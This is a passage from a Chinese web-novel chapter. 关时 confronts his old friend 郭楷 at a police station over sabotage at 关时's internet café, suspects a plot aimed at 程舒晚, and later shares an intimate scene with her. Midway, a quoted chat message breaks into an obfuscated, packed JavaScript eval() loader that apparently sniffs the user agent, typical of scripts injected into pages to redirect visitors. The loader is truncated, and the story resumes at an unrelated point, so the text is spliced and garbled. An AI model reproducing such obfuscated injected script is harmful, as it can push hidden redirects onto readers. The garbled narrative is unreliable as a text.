两人一起走进包厢,程舒晚见状握着筷子的手停顿片刻,但打探到两人还算和谐的气氛,缓缓松了口气,盯着关时在身边坐下,“聊什么了吗?” 关时很自然地把手搭在她的椅背上,神色自若,“要了个签名。” 程舒晚:“……” “还有,你这小朋友,”关时补充,“人不错。” 喔。 看起来两人没事。 “当然。”程舒晚说,“他是个很好的朋友。” 关时:“……不行,我这么说就够了,听你说这话我还是有点醋。” 程舒晚:“……滚。” 白狸他们傍晚要飞回海宜,饭后还有两三个小时的时间可以在周边逛逛,程舒晚准备带他们去老城区逛逛。 就在吃得差不多的时候,关时接了个电话,眉眼慢慢压下来。 程舒晚看着他,待到结束通话,关切问道:“怎么了?” “没事儿,”关时笑了笑,把车钥匙放到程舒晚手上,“不过我可能得先走了,网咖那边的订货出了点问题,裴哥搞不太定,我先过去看看。你带朋友们好好玩。” 他这个理由很正当,但是程舒晚就是直觉有些不安,见他起身跟三人笑着赔不是,下意识跟着起身,“关……” 关时把她按回椅子上,“干什么啊,处理工作而已,别紧张。走了。” 程舒晚拿出手机,“那我给你叫车吧。” “犯不着,又不是什么娇生惯养的。”关时最后在她脑袋上轻轻揉了一把,开门出去了。 他一边打网约车,一边从二楼走下来,坐上汽车后座之后,表情彻底冷了下来。 64. 想你 前排的司机从后视镜不断打量他,似乎想说什么,最后还是保持沉默。 二十几分钟后,车在大荷派出所门口停下。关时下车的时候,司机突然开口了:“小伙子,人还年轻,要朝前看。” ? 关时愣了下,说了声“好”,一头雾水地关上车门,扭头看到派出所的玻璃门倒映出自己的脸,这才反应过来,自己的表情凝重得像是要杀人。 司机或许以为他是来自首的。 他深吸一口气调整了下表情,走进派出所,迎面遇上何警官跟裴哥。裴哥胖胖的脸上满是惊魂未定,朝关时招手,“来了?郭楷这小子,几年不见真是越来越恶劣了,居然溜进来踢网线!还好被顾客摁住了!” “嗯,我知道。”关时回应,所谓的顾客就是他之前委托帮忙的“无业游民”,这些时日有空没空就帮着盯郭楷,今天也算是盯到了,“何叔,他人呢?” “调解室。”何警官指了一下办事大厅里面,“谈不上刑事犯罪,看你要不要追究。但这家伙有赌博前科,所以……” 他点到为止,关时点点头抬腿往里走,“我先跟他单独聊聊。” “行。”何警官想到什么,突然又拉住他,“关时,上次你打架,把你拎回去那个姑娘,还好吗?” 嗯? 听何警官突然提这一茬,关时刚冷下来扮凶的脸立刻出现一丝裂痕,“她怎么了?” 何警官皱眉,小声说道:“昨天,有一对中年夫妻来报案,说女儿失踪要我们找,还闹了很久,他们是那姑娘的爸妈。” 关时猛然抓住何警官的衣袖,“何叔,你……” “放心放心,那姑娘私下和我报备过。”何警官说,“只是她爸妈也太能闹了,最后只能受理,但是我们得了解情况,等会儿你也配合一下。” “……好。”关时沉下声,有些心事重重,“何叔,这件事尽量别打扰她,如果有需要就找我。” 何警官瞪眼看着他,“……你没吃够仗义的亏?” “这次不是仗义。”关时笑了笑,“家事。” 何警官恍然大悟地张圆了嘴,“你俩……哦……行。啧,看你这孔雀羽毛乱抖的样子,当心啊,这家……算了算了,你赶紧先去调解室,这边等会儿再说。” 转身走进连接调解室的走廊,关时的表情重新沉入冷漠。调解室的门虚掩着,他推门而入,轻轻关上门,办事大厅的喧杂顷刻被隔绝。 沉寂中,关时抬眼,瞥向房间里唯一的活物。 长桌边,郭楷面色不安又呆滞地低垂着脑袋,双手在桌上交握,无意识地抠着指甲。 距离上次见面不过个把月,他看起来更憔悴了,洗得发白的衬衫,领口皱巴,袖口也磨破了边。听到关门声,他肩头似是耸了一下,却没有抬头。 没来由的,关时脑海里闪过很多年前第一次见面的场面。 这家伙小时候黑黢黢的跟个瘦猴似的,没多少人注意,那天却从犄角旮旯猛然弹射出来,一拳打在嘲笑他是单亲家庭的同学脸上,扭过头来,露出挑衅而灿烂的笑:“你在忍啥?怎么不揍他?” 关时沉默地盯着面前这个被磨得几乎没有人样的昔日旧友,很久之后才拉开他对面的椅子坐下。 “谁让你这么做的。”关时很平静地开口。 郭楷的手指绞得更紧了些,“……没谁。” “哦。”关时翘起腿,把手搭在旁边椅子的椅背上,“你是说,你突发奇想要给我点颜色看看,所以大中午的溜进我网咖拔网线?” 郭楷没有抬头,也没有吱声。 关时发出一声嗤笑,“挺有创意。” 郭楷抿了抿嘴,“该怎么样就怎么样吧,我认,时哥。” 这次,关时没有反驳“时哥”这个称呼,只是盯着郭楷。 “人活着就是最好的。”他说,“欠钱而已,五年十年二十年,总能还清。但因此再碰歧途,就不是那么简单的事情了。” 郭楷似乎终于有所松动,一点点抬起眼睛,看了关时一眼,很快又垂下。 “你不懂。”他说。 关时眯眼冷笑,“因为我他妈不会蠢到去碰赌博。” 郭楷的表情扭曲了瞬间,但因为无言反驳,只能窝囊地收回去。 “你不说也没关系,我也不是毫无办法。”关时轻声说,“这应该是我最后一次心平气和跟你说话了。” 郭楷闭眼片刻,呛笑出声,“没关系,时哥。” 他慢慢抬起头,“反正,你从来没有救过我。” 关时的眼皮轻轻一跳。 “救你……”他咀嚼着这两个字,像是听到什么荒谬的话一般,“你知道玥玥当时在医院检查的时候,问我什么吗? “她问我,楷哥怎么没来,是不是不忍心看她。 “我没好意思跟她说你被我一拳揍到隔壁科室,正在打消炎的吊瓶。” 郭楷的表情猛地怔住,空白了片刻。 “不是我不救你。”关时从椅子上站起来,居高临下,又轻描淡写地看着他,“你无药可救啊。” 郭楷瘫在椅子里,目光没有焦距地盯着前面的桌面,就在关时准备拉开门出去的时候,他突然开口了。 “我手机通讯录里,”他说,“有个叫‘李哥’的联系人。没有聊天记录,但是我知道你有办法找回来。” 关时扭头看着他。 “是突然找上我的,说要‘给那个多管闲事的网吧老板一点骚扰’……我只知道这些。”郭楷说着,突然屈辱地皱眉,起身踹了一脚椅子,“告诉你是因为我欠玥玥的!跟你一点关系没有……少用那种语气跟我说话,我最烦你这种自以为是,以为什么都能救,最后什么都没救到还逼话一堆的样子!” 充满寒意的沉默突然降临在这间不大的调解室里。 郭楷咬牙切齿地发泄完,也慢慢怂下来,躲闪目光没敢看关时。 半晌,关时开口了:“网吧的事,我不想私了,该怎么处理怎么处理。” 郭楷愣了愣,抬头看向关时,但关时什么都没再说,什么都没评价,让他扔出来的指控和宣泄摔在地上,裂成一摊可怜的笑话。 “等……”郭楷朝他的背影吼了一声,但关时已经关上了门。 办事大厅,何警官被醉酒寻衅滋事的民众缠住了,招手让关时稍等。关时把郭楷的事情全权交给裴哥,去派出所门口,给合作的那些“无业游民”们的头头打了个电话。 郭楷说的“李哥”,他印象里在大荷这边可能有这么一号人,只是不知道是不是同一个。那个“李哥”也是个消息灵通,在这里扎根很多年的万事通,他对此人不太了解,“无业游民”们可能知道。 头头表示自己会去问问清楚,很快就挂断电话。 关时捏着手机,在派出所门口怔然许久。 他总觉得,“那个多管闲事的网吧老板”这个描述有点耳熟。 他在这里这么多年相安无事,突然有人有预谋地来找麻烦,肯定是最近他做了什么,惹了什么人。 思来想去,唯一称得上多管闲事的,只有程舒晚的事。 或许,是冲着程舒晚来的。 若是如此,那位“李哥”后面十有八九是宁松明。 关时不知道宁松明那个富二代怎么整天和这些地痞有关联,雇佣水军造谣带节奏,找人跟踪,现在还把手伸到他这里……对,还有那对神经父母。 一想到何警官说他们来这里报案女儿失踪,那阵窒息和烦躁就萦绕在脖颈,让他如鲠在喉。 他们要干嘛。 他妈的到底什么垃圾家人。 舒晚……和程舒恒,从小生活在这样的环境里到底有多难受? 程舒恒没能撑住,他无声无息,在出乎所有人预料的情况下突然离开,或许早在很久之前就已经朝着非正确的路子悄然偏移,最后才到这无可挽回的下场。 那舒晚呢? 关时忘不了带她去溪韵的房子住那天,她满脸茫然,说,他们只剩下我,会想方设法逼迫我回去。 她说,我没有我哥那么决绝。 她说,我不要你被这些事卷进去。 一想到这些,关时心里就被巨锤猛然一下下砸着,痛得发麻。 手机突然振动,把关时从思绪里拉出来,他摸出手机看,程舒晚发来一张照片,拍的是老街广场上的鸽子群。 程舒晚:“游客肯定天天喂它们,壮硕得能一屁股坐死我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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程舒晚站在旁边哭笑不得,膝盖陷进沙发爬过去,晃了晃关时的肩膀,“别睡这儿啊,困了去房间。空调也不开,不热吗?” 关时迷迷糊糊睁开眼,目光缓了好一会儿才定在程舒晚脸上,逐渐恢复清明,“唔……下播了?” “是呀。”程舒晚把他拉起来,“我还奇怪今天我的榜一大哥怎么不在线,原来在这儿睡着了。网咖的事情很棘手吗?很累?” 她眼神关切,落地灯暖黄的光透过她的眼眸,眼底清澈干净,温和透亮。 关时微不可查地蹙了蹙眉尖,突然伸手将她一把搂进怀里,手臂收紧,埋头在她颈侧,贪婪呼吸着。 淡淡的花香,是他买的沐浴露的味道。 程舒晚被关时这突如其来的拥抱吓了一跳,但还是回应了他,环抱他的后背,轻轻拍了拍,“怎么了,出什么事了?” “没有。”关时笑着在她颈窝蹭了蹭,语气柔和,“就是很想很想抱你。” “……”程舒晚失笑,放心地用力揉了揉关时的脑袋,“今天很黏人啊。” 关时轻轻抬起眼,嗓音有点哑,“我觉得还不够黏人。” “嗯?”程舒晚问,随后世界天旋地转,突然被关时压进柔软的沙发,手腕也被自然地攥住分开在两侧,“诶!” 紧接着,温柔绵长,却多了几分霸道和占有的吻就落了下来。 程舒晚完全没有防备,猝不及防下差点忘了换气,被猛烈的攻势亲得节节败退。 依照关时的说法——如果她最开始那次青涩的逗弄是他的初吻的话,那这次也不过才第四五次接吻而已。 ……进步这么快吗? 在嘴唇上的桎梏消失,终于得以透口气的时候,程舒晚才发现关时的吻已经往下落到颈侧去了,“喂!” 她有点慌乱地想摁住关时,但手腕挣了挣,没挣开。 好在关时很听话地停下了,掀开眼睫,弯起眼,满眼的笑意和占有欲撞进程舒晚的目光里。 “对不起。”他的道歉低沉温柔,听起来更像是撩拨,“能给我一个机会吗?” “一个……更有资格接管你的一切的机会。”